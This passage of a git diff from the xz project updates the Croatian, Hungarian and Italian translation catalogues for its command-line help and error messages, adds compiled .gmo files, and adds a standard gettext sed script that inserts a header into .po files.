src/xz/message.c:1075 +#: src/xz/message.c:1056 msgid "" " --filters-help display more information about the liblzma filter string\n" " syntax and exit." msgstr " --filters-help pokaže više informacija za sintaksu stringa liblzma filtra" -#: src/xz/message.c:1086 +#: src/xz/message.c:1067 msgid "" "\n" " --lzma1[=OPTS] LZMA1 or LZMA2; OPTS is a comma-separated list of zero or\n" @@ -913,7 +909,7 @@ msgstr "" " mf=IME podudarač (hc3, hc4, bt2, bt3, bt4; bt4)\n" " depth=BROJ max. dubina traženja; 0=automatski (default)" -#: src/xz/message.c:1101 +#: src/xz/message.c:1082 msgid "" "\n" " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" @@ -939,7 +935,7 @@ msgstr "" " Valjane OPCIJE za BCJ filtre:\n" " start=BROJ početni offset za konverzije (zadano=0)" -#: src/xz/message.c:1115 +#: src/xz/message.c:1096 msgid "" "\n" " --delta[=OPTS] Delta filter; valid OPTS (valid values; default):\n" @@ -952,7 +948,7 @@ msgstr "" " dist=BROJ razmak između bajtova koji se oduzimaju\n" " jedan od drugog (1-256; 1)" -#: src/xz/message.c:1123 +#: src/xz/message.c:1104 msgid "" "\n" " Other options:\n" @@ -960,7 +956,7 @@ msgstr "" "\n" " Ostale opcije:\n" -#: src/xz/message.c:1126 +#: src/xz/message.c:1107 msgid "" " -q, --quiet suppress warnings; specify twice to suppress errors too\n" " -v, --verbose be verbose; specify twice for even more verbose" @@ -968,15 +964,15 @@ msgstr "" " -q, --quiet izostavi upozorenja; -qq izostavi i greške\n" " -v, --verbose opširnije informira; -vv još više informira" -#: src/xz/message.c:1131 +#: src/xz/message.c:1112 msgid " -Q, --no-warn make warnings not affect the exit status" msgstr " -Q, --no-warn upozorenja nemaju utjecaja na status završetka (izlaza)" -#: src/xz/message.c:1133 +#: src/xz/message.c:1114 msgid " --robot use machine-parsable messages (useful for scripts)" msgstr " --robot poruke u strojnom formatu (korisno za skripte)" -#: src/xz/message.c:1136 +#: src/xz/message.c:1117 msgid "" " --info-memory display the total amount of RAM and the currently active\n" " memory usage limits, and exit" @@ -984,7 +980,7 @@ msgstr "" " --info-memory pokaže ukupnu količinu RAM-a i trenutno\n" " aktivna ograničenja korištenja memorije, pa iziđe" -#: src/xz/message.c:1139 +#: src/xz/message.c:1120 msgid "" " -h, --help display the short help (lists only the basic options)\n" " -H, --long-help display this long help and exit" @@ -992,7 +988,7 @@ msgstr "" " -h, --help pokaže kratku pomoć (izlista samo osnovne opcije)\n" " -H, --long-help pokaže opširnu pomoć" -#: src/xz/message.c:1143 +#: src/xz/message.c:1124 msgid "" " -h, --help display this short help and exit\n" " -H, --long-help display the long help (lists also the advanced options)" @@ -1000,11 +996,11 @@ msgstr "" " -h, --help pokaže kratku pomoć\n" " -H, --long-help pokaže opširnu pomoć (izlista i napredne opcije)" -#: src/xz/message.c:1148 +#: src/xz/message.c:1129 msgid " -V, --version display the version number and exit" msgstr " -V, --version pokaže informacije o inačici" -#: src/xz/message.c:1150 src/lzmainfo/lzmainfo.c:37 +#: src/xz/message.c:1131 src/lzmainfo/lzmainfo.c:37 #, c-format msgid "" "\n" @@ -1017,23 +1013,23 @@ msgstr "" #. for this package. Please add _another line_ saying #. "Report translation bugs to <...>\n" with the email or WWW #. address for translation bugs. Thanks. -#: src/xz/message.c:1156 src/lzmainfo/lzmainfo.c:40 +#: src/xz/message.c:1137 src/lzmainfo/lzmainfo.c:40 #, c-format msgid "Report bugs to <%s> (in English or Finnish).\n" msgstr "Greške prijavite na <%s> (na engleskom ili finskom).\n" -#: src/xz/message.c:1158 src/lzmainfo/lzmainfo.c:42 +#: src/xz/message.c:1139 src/lzmainfo/lzmainfo.c:42 #, c-format msgid "%s home page: <%s>\n" msgstr "" "%s matična mrežna stranica: <%s>\n" "Pogreške u prijevodu i vaše prijedloge javite na .\n" -#: src/xz/message.c:1162 +#: src/xz/message.c:1143 msgid "THIS IS A DEVELOPMENT VERSION NOT INTENDED FOR PRODUCTION USE." msgstr "OVO JE RAZVOJNA INAČICA I NIJE NAMIJENJENA ZA PROIZVODNJU." -#: src/xz/message.c:1179 +#: src/xz/message.c:1160 msgid "" "Filter chains are set using the --filters=FILTERS or\n" "--filters1=FILTERS ... --filters9=FILTERS options. Each filter in the chain\n" @@ -1045,7 +1041,7 @@ msgstr "" "odvojen s razmakom ili s „--“ (dvije crtice). Alternativno, preset postavka\n" "<0-9>[e] može biti navedena umjesto lanca filtra.\n" -#: src/xz/message.c:1185 +#: src/xz/message.c:1166 msgid "The supported filters and their options are:" msgstr "Podržani filtri i njihove opcije su:" @@ -1139,3 +1135,6 @@ msgstr "Pisanje na standardni izlaz nije uspjelo" #: src/common/tuklib_exit.c:42 msgid "Unknown error" msgstr "Nepoznata greška" + +#~ msgid "Failed to enable the sandbox" +#~ msgstr "Nije uspjelo omogućiti sandbox" diff --git a/po/hu.gmo b/po/hu.gmo new file mode 100644 index 00000000..301c920e Binary files /dev/null and b/po/hu.gmo differ diff --git a/po/hu.po b/po/hu.po index 4e4fb477..97572f59 100644 --- a/po/hu.po +++ b/po/hu.po @@ -8,7 +8,7 @@ msgid "" msgstr "" "Project-Id-Version: xz 5.6.0-pre2\n" "Report-Msgid-Bugs-To: xz@tukaani.org\n" -"POT-Creation-Date: 2024-02-15 01:57+0800\n" +"POT-Creation-Date: 2024-02-24 16:31+0800\n" "PO-Revision-Date: 2024-02-17 18:35+0100\n" "Last-Translator: Meskó Balázs \n" "Language-Team: Hungarian \n" @@ -58,8 +58,8 @@ msgstr "Csak egy fájl adható meg a „--files” vagy „--files0” kapcsoló #. string because French needs a space #. before the colon ("%s : %s"). #: src/xz/args.c:621 src/xz/coder.c:1058 src/xz/coder.c:1074 -#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:685 -#: src/xz/file_io.c:759 src/xz/file_io.c:849 src/xz/file_io.c:1020 +#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:518 +#: src/xz/file_io.c:592 src/xz/file_io.c:682 src/xz/file_io.c:854 #: src/xz/list.c:368 src/xz/list.c:414 src/xz/list.c:476 src/xz/list.c:590 #: src/xz/list.c:599 #, c-format @@ -183,16 +183,12 @@ msgstr "A --filters%2$u szűrőhöz tartozó LZMA%1$c szótár méretének módo msgid "Error changing to filter chain %u: %s" msgstr "Hiba a(z) %u. szűrőlánc létrehozásakor: %s" -#: src/xz/file_io.c:136 src/xz/file_io.c:144 +#: src/xz/file_io.c:122 src/xz/file_io.c:130 #, c-format msgid "Error creating a pipe: %s" msgstr "Hiba a csővezeték létrehozásakor: %s" -#: src/xz/file_io.c:332 -msgid "Failed to enable the sandbox" -msgstr "A homokozó engedélyezése sikertelen" - -#: src/xz/file_io.c:374 +#: src/xz/file_io.c:207 #, c-format msgid "%s: poll() failed: %s" msgstr "%s: poll() sikertelen: %s" @@ -207,111 +203,111 @@ msgstr "%s: poll() sikertelen: %s" #. it is possible that the user has put a new file in place #. of the original file, and in that case it obviously #. shouldn't be removed. -#: src/xz/file_io.c:441 +#: src/xz/file_io.c:274 #, c-format msgid "%s: File seems to have been moved, not removing" msgstr "%s: Úgy tűnik, hogy a fájl át lett helyezve, nincs eltávolítás" -#: src/xz/file_io.c:448 src/xz/file_io.c:1004 +#: src/xz/file_io.c:281 src/xz/file_io.c:838 #, c-format msgid "%s: Cannot remove: %s" msgstr "%s: Nem távolítható el: %s" -#: src/xz/file_io.c:474 +#: src/xz/file_io.c:307 #, c-format msgid "%s: Cannot set the file owner: %s" msgstr "%s: A fájl tulajdonosa nem adható meg: %s" -#: src/xz/file_io.c:487 +#: src/xz/file_io.c:320 #, c-format msgid "%s: Cannot set the file group: %s" msgstr "%s: A fájl csoportja nem adható meg: %s" -#: src/xz/file_io.c:506 +#: src/xz/file_io.c:339 #, c-format msgid "%s: Cannot set the file permissions: %s" msgstr "%s: A fájl jogosultságai nem adhatók meg: %s" -#: src/xz/file_io.c:632 +#: src/xz/file_io.c:465 #, c-format msgid "Error getting the file status flags from standard input: %s" msgstr "Hiba a fájl állapotjelzőinek lekérdezésekor a szabványos bemenetről: %s" -#: src/xz/file_io.c:690 src/xz/file_io.c:752 +#: src/xz/file_io.c:523 src/xz/file_io.c:585 #, c-format msgid "%s: Is a symbolic link, skipping" msgstr "%s: Szimbolikus link, kihagyás" -#: src/xz/file_io.c:781 +#: src/xz/file_io.c:614 #, c-format msgid "%s: Is a directory, skipping" msgstr "%s: Könyvtár, kihagyás" -#: src/xz/file_io.c:787 +#: src/xz/file_io.c:620 #, c-format msgid "%s: Not a regular file, skipping" msgstr "%s: Nem szabályos fájl, kihagyás" -#: src/xz/file_io.c:804 +#: src/xz/file_io.c:637 #, c-format msgid "%s: File has setuid or setgid bit set, skipping" msgstr "%s: A fájlon setuid vagy setgid bit van beállítva, kihagyás" -#: src/xz/file_io.c:811 +#: src/xz/file_io.c:644 #, c-format msgid "%s: File has sticky bit set, skipping" msgstr "%s: A fájlon sticky bit van beállítva, kihagyás" -#: src/xz/file_io.c:818 +#: src/xz/file_io.c:651 #, c-format msgid "%s: Input file has more than one hard link, skipping" msgstr "%s: A bemeneti fájlhoz több mint egy hard link tartozik, kihagyás" -#: src/xz/file_io.c:860 +#: src/xz/file_io.c:693 msgid "Empty filename, skipping" msgstr "Üres fájlnév, kihagyás" -#: src/xz/file_io.c:914 +#: src/xz/file_io.c:748 #, c-format msgid "Error restoring the status flags to standard input: %s" msgstr "Hiba a fájl állapotjelzőinek visszaállításakor a szabványos bemenetre: %s" -#: src/xz/file_io.c:962 +#: src/xz/file_io.c:796 #, c-format msgid "Error getting the file status flags from standard output: %s" msgstr "Hiba a fájl állapotjelzőinek lekérdezésekor a szabványos kimenetről: %s" -#: src/xz/file_io.c:1161 +#: src/xz/file_io.c:995 #, c-format msgid "Error restoring the O_APPEND flag to standard output: %s" msgstr "Hiba az O_APPEND visszaállításakor a szabványos kimenetre: %s" -#: src/xz/file_io.c:1173 +#: src/xz/file_io.c:1007 #, c-format msgid "%s: Closing the file failed: %s" msgstr "%s: A fájl lezárása sikertelen: %s" -#: src/xz/file_io.c:1209 src/xz/file_io.c:1471 +#: src/xz/file_io.c:1043 src/xz/file_io.c:1305 #, c-format msgid "%s: Seeking failed when trying to create a sparse file: %s" msgstr "%s: A pozícionálás sikertelen a ritka fájl létrehozásának kísérletekor: %s" -#: src/xz/file_io.c:1309 +#: src/xz/file_io.c:1143 #, c-format msgid "%s: Read error: %s" msgstr "%s: Olvasási hiba: %s" -#: src/xz/file_io.c:1339 +#: src/xz/file_io.c:1173 #, c-format msgid "%s: Error seeking the file: %s" msgstr "%s: Hiba a fájlban pozícionáláskor: %s" -#: src/xz/file_io.c:1363 +#: src/xz/file_io.c:1197 #, c-format msgid "%s: Unexpected end of file" msgstr "%s: Váratlan fájlvég" -#: src/xz/file_io.c:1422 +#: src/xz/file_io.c:1256 #, c-format msgid "%s: Write error: %s" msgstr "%s: Írási hiba: %s" @@ -572,26 +568,26 @@ msgstr "Az „lzmainfo” kipróbálása az .lzma fájlok esetén." msgid "--list does not support reading from standard input" msgstr "A --list nem támogatja a szabványos bemenetről beolvasást" -#: src/xz/main.c:95 +#: src/xz/main.c:89 #, c-format msgid "%s: Error reading filenames: %s" msgstr "%s: Hiba a fájlnevek olvasásakor: %s" -#: src/xz/main.c:102 +#: src/xz/main.c:96 #, c-format msgid "%s: Unexpected end of input when reading filenames" msgstr "%s: A bemenet váratlanul véget ért a fájlnevek olvasásakor" -#: src/xz/main.c:126 +#: src/xz/main.c:120 #, c-format msgid "%s: Null character found when reading filenames; maybe you meant to use '--files0' instead of '--files'?" msgstr "%s: Null karakter található a fájlnevek olvasásakor; talán a „--files0” kapcsolóra gondolt a „--files” helyett?" -#: src/xz/main.c:206 +#: src/xz/main.c:191 msgid "Compression and decompression with --robot are not supported yet." msgstr "A tömörítés és kibontás még nem támogatott a --robot kapcsolóval." -#: src/xz/main.c:284 +#: src/xz/main.c:289 msgid "Cannot read data from standard input when reading filenames from standard input" msgstr "Az adatok nem olvashatók be a szabványos bemenetről a fájlnevek olvasásakor" @@ -599,68 +595,68 @@ msgstr "Az adatok nem olvashatók be a szabványos bemenetről a fájlnevek olva #. of the line in messages. Usually it becomes "xz: ". #. This is a translatable string because French needs #. a space before a colon. -#: src/xz/message.c:670 src/xz/message.c:725 +#: src/xz/message.c:651 src/xz/message.c:706 #, c-format msgid "%s: " msgstr "%s: " -#: src/xz/message.c:797 src/xz/message.c:856 src/lzmainfo/lzmainfo.c:131 +#: src/xz/message.c:778 src/xz/message.c:837 src/lzmainfo/lzmainfo.c:131 msgid "Internal error (bug)" msgstr "Belső hiba (bug)" -#: src/xz/message.c:804 +#: src/xz/message.c:785 msgid "Cannot establish signal handlers" msgstr "A szignálkezelők nem hozhatók létre" -#: src/xz/message.c:813 +#: src/xz/message.c:794 msgid "No integrity check; not verifying file integrity" msgstr "Nincs integritás-ellenőrzés; a fájl épsége nem lesz ellenőrizve" -#: src/xz/message.c:816 +#: src/xz/message.c:797 msgid "Unsupported type of integrity check; not verifying file integrity" msgstr "Nem támogatott integritás-ellenőrzési típus; a fájl épsége nem lesz ellenőrizve" -#: src/xz/message.c:823 +#: src/xz/message.c:804 msgid "Memory usage limit reached" msgstr "Memóriahasználat korlátja elérve" -#: src/xz/message.c:826 +#: src/xz/message.c:807 msgid "File format not recognized" msgstr "A fájlformátum nem felismert" -#: src/xz/message.c:829 +#: src/xz/message.c:810 msgid "Unsupported options" msgstr "Nem támogatott kapcsolók" -#: src/xz/message.c:832 +#: src/xz/message.c:813 msgid "Compressed data is corrupt" msgstr "A tömörített adatok megsérültek" -#: src/xz/message.c:835 +#: src/xz/message.c:816 msgid "Unexpected end of input" msgstr "A bemenet váratlanul véget ért" -#: src/xz/message.c:877 +#: src/xz/message.c:858 #, c-format msgid "%s MiB of memory is required. The limiter is disabled." msgstr "%s MiB memória szükséges. A korlátozás letiltva." -#: src/xz/message.c:905 +#: src/xz/message.c:886 #, c-format msgid "%s MiB of memory is required. The limit is %s." msgstr "%s MiB memória szükséges. A korlát %s." -#: src/xz/message.c:924 +#: src/xz/message.c:905 #, c-format msgid "%s: Filter chain: %s\n" msgstr "%s: Szűrőlánc: %s\n" -#: src/xz/message.c:935 +#: src/xz/message.c:916 #, c-format msgid "Try '%s --help' for more information." msgstr "További információkért adja ki a következő parancsot: „%s --help”." -#: src/xz/message.c:961 +#: src/xz/message.c:942 #, c-format msgid "" "Usage: %s [OPTION]... [FILE]...\n" @@ -671,15 +667,15 @@ msgstr "" ".xz formátumú FÁJLok tömörítése vagy kibontása.\n" "\n" -#: src/xz/message.c:968 +#: src/xz/message.c:949 msgid "Mandatory arguments to long options are mandatory for short options too.\n" msgstr "A hosszú kapcsolók kötelező argumentumai a rövid kapcsolók esetén is kötelezők.\n" -#: src/xz/message.c:972 +#: src/xz/message.c:953 msgid " Operation mode:\n" msgstr " Működési mód:\n" -#: src/xz/message.c:975 +#: src/xz/message.c:956 msgid "" " -z, --compress force compression\n" " -d, --decompress force decompression\n" @@ -691,7 +687,7 @@ msgstr "" " -t, --test tömörített fájl épségének tesztelése\n" " -l, --list információk kiírása az .xz fájlokról" -#: src/xz/message.c:981 +#: src/xz/message.c:962 msgid "" "\n" " Operation modifiers:\n" @@ -699,7 +695,7 @@ msgstr "" "\n" " Műveleti módosítók:\n" -#: src/xz/message.c:984 +#: src/xz/message.c:965 msgid "" " -k, --keep keep (don't delete) input files\n" " -f, --force force overwrite of output file and (de)compress links\n" @@ -711,7 +707,7 @@ msgstr "" " -c, --stdout írás a szabványos kimenetre írás, és nem törli a\n" " bemeneti fájlokat" -#: src/xz/message.c:993 +#: src/xz/message.c:974 msgid "" " --single-stream decompress only the first stream, and silently\n" " ignore possible remaining input data" @@ -719,7 +715,7 @@ msgstr "" " --single-stream csak az első adatfolyam kibontása, és a\n" " lehetséges hátralévő bemeneti adatok mellőzése" -#: src/xz/message.c:996 +#: src/xz/message.c:977 msgid "" " --no-sparse do not create sparse files when decompressing\n" " -S, --suffix=.SUF use the suffix '.SUF' on compressed files\n" @@ -737,7 +733,7 @@ msgstr "" " --files0[=FÁJL] mint a --files, de a null karaktert használja\n" " használja elválasztóként" -#: src/xz/message.c:1005 +#: src/xz/message.c:986 msgid "" "\n" " Basic file format and compression options:\n" @@ -745,7 +741,7 @@ msgstr "" "\n" " Alapvető fájlformátum és tömörítési beállítások:\n" -#: src/xz/message.c:1007 +#: src/xz/message.c:988 msgid "" " -F, --format=FMT file format to encode or decode; possible values are\n" " 'auto' (default), 'xz', 'lzma', 'lzip', and 'raw'\n" @@ -758,11 +754,11 @@ msgstr "" " -C, --check=ELL integritás-ellenőrzés típusa: „none” (óvatosan használja),\n" " „crc32”, „crc64” (alapértelmezett) vagy „sha256”" -#: src/xz/message.c:1012 +#: src/xz/message.c:993 msgid " --ignore-check don't verify the integrity check when decompressing" msgstr " --ignore-check kibontáskor ne ellenőrizze az épséget" -#: src/xz/message.c:1016 +#: src/xz/message.c:997 msgid "" " -0 ... -9 compression preset; default is 6; take compressor *and*\n" " decompressor memory usage into account before using 7-9!" @@ -771,7 +767,7 @@ msgstr "" " a 7-9 használata előtt vegye figyelembe a tömörítő\n" " *és* kibontó memóriahasználatát!" -#: src/xz/message.c:1020 +#: src/xz/message.c:1001 msgid "" " -e, --extreme try to improve compression ratio by using more CPU time;\n" " does not affect decompressor memory requirements" @@ -779,7 +775,7 @@ msgstr "" " -e, --extreme a tömörítési arány javítási kísérlete több CPU-idő\n" " használatával; nincs hatással a kibontó memóriaigényére" -#: src/xz/message.c:1024 +#: src/xz/message.c:1005 msgid "" " -T, --threads=NUM use at most NUM threads; the default is 0 which uses\n" " as many threads as there are processor cores" @@ -788,7 +784,7 @@ msgstr "" " amely annyi szálat használ, amennyi processzormag áll\n" " rendelkezésre" -#: src/xz/message.c:1029 +#: src/xz/message.c:1010 msgid "" " --block-size=SIZE\n" " start a new .xz block after every SIZE bytes of input;\n" @@ -798,7 +794,7 @@ msgstr "" " új .xz blokk indítása minden MÉRETnyi bájt bemenet után;\n" " a többszálas tömörítés blokkméretének megadásához" -#: src/xz/message.c:1033 +#: src/xz/message.c:1014 msgid "" " --block-list=BLOCKS\n" " start a new .xz block after the given comma-separated\n" @@ -812,7 +808,7 @@ msgstr "" " adatok mérete előtt egy szűrőláncszám (0-9) is megadható\n" " egy „:” karakter közbeiktatásával" -#: src/xz/message.c:1039 +#: src/xz/message.c:1020 msgid "" " --flush-timeout=TIMEOUT\n" " when compressing, if more than TIMEOUT milliseconds has\n" @@ -824,7 +820,7 @@ msgstr "" " telt el az előző kiírástól, és a bemenetolvasás\n" " blokkolna, akkor minden adat ki lesz írva" -#: src/xz/message.c:1045 +#: src/xz/message.c:1026 #, no-c-format msgid "" " --memlimit-compress=LIMIT\n" @@ -844,7 +840,7 @@ msgstr "" " KORLÁT bájtokban van megadva, a RAM %-ában, vagy 0 az\n" " alapértelmezéshez" -#: src/xz/message.c:1054 +#: src/xz/message.c:1035 msgid "" " --no-adjust if compression settings exceed the memory usage limit,\n" " give an error instead of adjusting the settings downwards" @@ -853,7 +849,7 @@ msgstr "" " korlátot, akkor hibát fog adni a beállítások lefelé\n" " állítása helyett" -#: src/xz/message.c:1060 +#: src/xz/message.c:1041 msgid "" "\n" " Custom filter chain for compression (alternative for using presets):" @@ -861,7 +857,7 @@ msgstr "" "\n" " Egyéni szűrőlánc a tömörítéshez (alternatíva az előbeállításokra):" -#: src/xz/message.c:1063 +#: src/xz/message.c:1044 msgid "" "\n" " --filters=FILTERS set the filter chain using the liblzma filter string\n" @@ -871,7 +867,7 @@ msgstr "" " --filters=SZŰRŐK a szűrőlánc beállítása liblzma szűrőformátummal;\n" " további információkért lásd a --filters-help kapcsolót" -#: src/xz/message.c:1069 +#: src/xz/message.c:1050 msgid "" " --filters1=FILTERS ... --filters9=FILTERS\n" " set additional filter chains using the liblzma filter\n" @@ -881,7 +877,7 @@ msgstr "" " további szűrőláncok beállítása liblzma formátummal a\n" " --block-list kapcsolóhoz" -#: src/xz/message.c:1075 +#: src/xz/message.c:1056 msgid "" " --filters-help display more information about the liblzma filter string\n" " syntax and exit." @@ -889,7 +885,7 @@ msgstr "" " --filters-help további információk megjelenítése a libzma\n" " szűrőformátumról, majd kilépés." -#: src/xz/message.c:1086 +#: src/xz/message.c:1067 msgid "" "\n" " --lzma1[=OPTS] LZMA1 or LZMA2; OPTS is a comma-separated list of zero or\n" @@ -919,7 +915,7 @@ msgstr "" " depth=SZÁM legnagyobb keresési mélység; 0=automatikus\n" " (alapértelmezett)" -#: src/xz/message.c:1101 +#: src/xz/message.c:1082 msgid "" "\n" " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" @@ -946,7 +942,7 @@ msgstr "" " start=SZÁM kezdési eltolás az átalakításokhoz\n" " (alapértelmezett=0)" -#: src/xz/message.c:1115 +#: src/xz/message.c:1096 msgid "" "\n" " --delta[=OPTS] Delta filter; valid OPTS (valid values; default):\n" @@ -959,7 +955,7 @@ msgstr "" " dist=SZÁM az egymásból kivont bájtok közti\n" " távolság (1-256; 1)" -#: src/xz/message.c:1123 +#: src/xz/message.c:1104 msgid "" "\n" " Other options:\n" @@ -967,7 +963,7 @@ msgstr "" "\n" " Egyéb kapcsolók:\n" -#: src/xz/message.c:1126 +#: src/xz/message.c:1107 msgid "" " -q, --quiet suppress warnings; specify twice to suppress errors too\n" " -v, --verbose be verbose; specify twice for even more verbose" @@ -977,19 +973,19 @@ msgstr "" " -v, --verbose legyen bőbeszédű; adja meg kétszer, hogy még bőbeszédűbb\n" " legyen" -#: src/xz/message.c:1131 +#: src/xz/message.c:1112 msgid " -Q, --no-warn make warnings not affect the exit status" msgstr "" " -Q, --no-warn a figyelmeztetések nem befolyásolják a kilépési\n" " állapotkódot" -#: src/xz/message.c:1133 +#: src/xz/message.c:1114 msgid " --robot use machine-parsable messages (useful for scripts)" msgstr "" " --robot géppel értelmezhető üzenetek használata\n" " (parancsfájlok esetén hasznos)" -#: src/xz/message.c:1136 +#: src/xz/message.c:1117 msgid "" " --info-memory display the total amount of RAM and the currently active\n" " memory usage limits, and exit" @@ -997,7 +993,7 @@ msgstr "" " --info-memory az összes RAM mennyiségének és a jelenlegi\n" " memóriahasználati korlátok megjelenítése, és kilépés" -#: src/xz/message.c:1139 +#: src/xz/message.c:1120 msgid "" " -h, --help display the short help (lists only the basic options)\n" " -H, --long-help display this long help and exit" @@ -1005,7 +1001,7 @@ msgstr "" " -h, --help a rövid súgó megjelenítése (csak az alapvető kapcsolók)\n" " -H, --long-help ezen hosszú súgó megjelenítése, és kilépés" -#: src/xz/message.c:1143 +#: src/xz/message.c:1124 msgid "" " -h, --help display this short help and exit\n" " -H, --long-help display the long help (lists also the advanced options)" @@ -1013,11 +1009,11 @@ msgstr "" " -h, --help ezen rövid súgó megjelenítése, és kilépés\n" " -H, --long-help a hosszú súgó megjelenítése (speciális kapcsolókhoz)" -#: src/xz/message.c:1148 +#: src/xz/message.c:1129 msgid " -V, --version display the version number and exit" msgstr " -V, --version a verziószám kiírása és kilépés" -#: src/xz/message.c:1150 src/lzmainfo/lzmainfo.c:37 +#: src/xz/message.c:1131 src/lzmainfo/lzmainfo.c:37 #, c-format msgid "" "\n" @@ -1030,21 +1026,21 @@ msgstr "" #. for this package. Please add _another line_ saying #. "Report translation bugs to <...>\n" with the email or WWW #. address for translation bugs. Thanks. -#: src/xz/message.c:1156 src/lzmainfo/lzmainfo.c:40 +#: src/xz/message.c:1137 src/lzmainfo/lzmainfo.c:40 #, c-format msgid "Report bugs to <%s> (in English or Finnish).\n" msgstr "Ide jelentse a hibákat: <%s> (angolul vagy finnül).\n" -#: src/xz/message.c:1158 src/lzmainfo/lzmainfo.c:42 +#: src/xz/message.c:1139 src/lzmainfo/lzmainfo.c:42 #, c-format msgid "%s home page: <%s>\n" msgstr "%s honlap: <%s>\n" -#: src/xz/message.c:1162 +#: src/xz/message.c:1143 msgid "THIS IS A DEVELOPMENT VERSION NOT INTENDED FOR PRODUCTION USE." msgstr "EZ EGY FEJLESZTŐI VÁLTOZAT, NEM ÉLES HASZNÁLATRA SZÁNT." -#: src/xz/message.c:1179 +#: src/xz/message.c:1160 msgid "" "Filter chains are set using the --filters=FILTERS or\n" "--filters1=FILTERS ... --filters9=FILTERS options. Each filter in the chain\n" @@ -1056,7 +1052,7 @@ msgstr "" "szereplő egyes szűrőket szóközökkel vagy „--” karakterekkel kell elválasztani.\n" "Illetve egy <0-9>[e] előbeállítás is megadható szűrőlánc helyett.\n" -#: src/xz/message.c:1185 +#: src/xz/message.c:1166 msgid "The supported filters and their options are:" msgstr "A támogatott szűrők és azok kapcsolói a következők:" @@ -1151,6 +1147,9 @@ msgstr "A szabványos kimenetre írás sikertelen" msgid "Unknown error" msgstr "Ismeretlen hiba" +#~ msgid "Failed to enable the sandbox" +#~ msgstr "A homokozó engedélyezése sikertelen" + #, c-format #~ msgid "The selected match finder requires at least nice=%" #~ msgstr "A kiválasztott egyezéskeresőhöz legalább nice=% szükséges" diff --git a/po/insert-header.sin b/po/insert-header.sin new file mode 100644 index 00000000..ceeebb93 --- /dev/null +++ b/po/insert-header.sin @@ -0,0 +1,28 @@ +# Sed script that inserts the file called HEADER before the header entry. +# +# Copyright (C) 2001 Free Software Foundation, Inc. +# Written by Bruno Haible , 2001. +# This file is free software; the Free Software Foundation gives +# unlimited permission to use, copy, distribute, and modify it. +# +# At each occurrence of a line starting with "msgid ", we execute the following +# commands. At the first occurrence, insert the file. At the following +# occurrences, do nothing. The distinction between the first and the following +# occurrences is achieved by looking at the hold space. +/^msgid /{ +x +# Test if the hold space is empty. +s/m/m/ +ta +# Yes it was empty. First occurrence. Read the file. +r HEADER +# Output the file's contents by reading the next line. But don't lose the +# current line while doing this. +g +N +bb +:a +# The hold space was nonempty. Following occurrences. Do nothing. +x +:b +} diff --git a/po/it.gmo b/po/it.gmo new file mode 100644 index 00000000..6f670ce3 Binary files /dev/null and b/po/it.gmo differ diff --git a/po/it.po b/po/it.po index 2b7afbd1..85f7c395 100644 --- a/po/it.po +++ b/po/it.po @@ -7,135 +7,199 @@ msgid "" msgstr "" "Project-Id-Version: xz 5.2.4\n" -"Report-Msgid-Bugs-To: lasse.collin@tukaani.org\n" -"POT-Creation-Date: 2018-04-29 18:19+0300\n" +"Report-Msgid-Bugs-To: xz@tukaani.org\n" +"POT-Creation-Date: 2024-02-24 16:31+0800\n" "PO-Revision-Date: 2019-03-04 14:21+0100\n" "Last-Translator: Milo Casagrande \n" "Language-Team: Italian \n" "Language: it\n" -"X-Bugs: Report translation errors to the Language-Team address.\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" +"X-Bugs: Report translation errors to the Language-Team address.\n" "X-Launchpad-Export-Date: 2010-08-16 19:16+0000\n" "X-Generator: Poedit 2.2.1\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" -#: src/xz/args.c:63 +#: src/xz/args.c:77 #, c-format msgid "%s: Invalid argument to --block-list" msgstr "%s: argomento non valido per --block-list" -#: src/xz/args.c:73 +#: src/xz/args.c:87 #, c-format msgid "%s: Too many arguments to --block-list" msgstr "%s: troppi argomenti per --block-list" -#: src/xz/args.c:102 +#: src/xz/args.c:124 +#, c-format +msgid "In --block-list, block size is missing after filter chain number '%c:'" +msgstr "" + +#: src/xz/args.c:150 msgid "0 can only be used as the last element in --block-list" msgstr "0 può essere usato solo come ultimo elemento in --block-list" -#: src/xz/args.c:406 +#: src/xz/args.c:539 #, c-format msgid "%s: Unknown file format type" msgstr "%s: tipo di formato del file sconosciuto" -#: src/xz/args.c:429 src/xz/args.c:437 +#: src/xz/args.c:562 src/xz/args.c:570 #, c-format msgid "%s: Unsupported integrity check type" msgstr "%s: tipo di controllo integrità non supportato" -#: src/xz/args.c:473 -msgid "Only one file can be specified with `--files' or `--files0'." +#: src/xz/args.c:606 +#, fuzzy +#| msgid "Only one file can be specified with `--files' or `--files0'." +msgid "Only one file can be specified with '--files' or '--files0'." msgstr "Solo un file può essere specificato con \"--files\" o \"--files0\"." -#: src/xz/args.c:541 +#. TRANSLATORS: This is a translatable +#. string because French needs a space +#. before the colon ("%s : %s"). +#: src/xz/args.c:621 src/xz/coder.c:1058 src/xz/coder.c:1074 +#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:518 +#: src/xz/file_io.c:592 src/xz/file_io.c:682 src/xz/file_io.c:854 +#: src/xz/list.c:368 src/xz/list.c:414 src/xz/list.c:476 src/xz/list.c:590 +#: src/xz/list.c:599 +#, fuzzy, c-format +#| msgid "%s: " +msgid "%s: %s" +msgstr "%s: " + +#: src/xz/args.c:677 #, c-format msgid "The environment variable %s contains too many arguments" msgstr "La variabile d'ambiente %s contiene troppi argomenti" -#: src/xz/args.c:643 +#: src/xz/args.c:779 msgid "Compression support was disabled at build time" msgstr "Il supporto alla compressione è stato disabilitato in fase di compilazione" -#: src/xz/args.c:650 +#: src/xz/args.c:786 msgid "Decompression support was disabled at build time" msgstr "Il supporto alla decompressione è stato disabilitato in fase di compilazione" -#: src/xz/coder.c:110 +#: src/xz/args.c:792 +msgid "Compression of lzip files (.lz) is not supported" +msgstr "" + +#: src/xz/args.c:814 +msgid "--block-list is ignored unless compressing to the .xz format" +msgstr "" + +#: src/xz/args.c:827 src/xz/args.c:836 +#, fuzzy +#| msgid "%s: With --format=raw, --suffix=.SUF is required unless writing to stdout" +msgid "With --format=raw, --suffix=.SUF is required unless writing to stdout" +msgstr "%s: con --format=raw, --suffix=.SUF è richiesto a meno che non si scriva sullo stdout" + +#: 